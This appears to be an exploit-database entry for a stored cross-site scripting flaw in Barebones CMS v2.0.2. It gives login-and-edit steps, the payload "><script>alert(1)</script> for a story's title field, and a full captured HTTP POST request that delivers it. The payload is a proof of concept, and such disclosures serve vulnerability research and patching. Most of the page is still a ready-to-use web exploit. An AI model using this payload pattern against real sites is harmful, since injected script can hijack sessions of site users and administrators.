Barebones cms v2.0.2 stored crosssite scripting (xss) (authenticated) Vulnerability / Exploit

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Exploits / Vulnerability Discovered : 2023-06-04 | Type : webapps | Platform : php
This exploit / vulnerability Barebones cms v2.0.2 stored crosssite scripting (xss) (authenticated) is for educational purposes only and if it is used you will do on your own risk!

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[+] Code ...

# Exploit Title: Barebones CMS v2.0.2 - Stored Cross-Site Scripting (XSS) (Authenticated)
# Date: 2023-06-03
# Exploit Author: tmrswrr
# Vendor Homepage: https://barebonescms.com/
# Software Link: https://github.com/cubiclesoft/barebones-cms/archive/master.zip
# Version: v2.0.2
# Tested : https://demo.barebonescms.com/


--- Description ---

1) Login admin panel and go to new story :
https://demo.barebonescms.com/sessions/127.0.0.1/moors-sluses/admin/?action=addeditasset&type=story&sec_t=241bac393bb576b2538613a18de8c01184323540
2) Click edit button and write your payload in the title field:
Payload: "><script>alert(1)</script>
3) After save change and will you see alert button


POST /sessions/127.0.0.1/moors-sluses/admin/ HTTP/1.1
Host: demo.barebonescms.com
Cookie: PHPSESSID=81ecf7072ed639fa2fda1347883265a4
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 237
Origin: https://demo.barebonescms.com
Dnt: 1
Referer: https://demo.barebonescms.com/sessions/78.163.184.240/moors-sluses/admin/?action=addeditasset&id=1&type=story&lang=en-us&sec_t=241bac393bb576b2538613a18de8c01184323540
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
Te: trailers
Connection: close

action=saveasset&id=1&revision=0&type=story&sec_t=a6adec1ffa60ca5adf4377df100719b952d3f596&lang=en-us&title=%22%3E%3Cscript%3Ealert(1)%3C%2Fscript%3E&newtag=&publish_date=2023-06-03&publish_time=12%3A07+am&unpublish_date=&unpublish_time=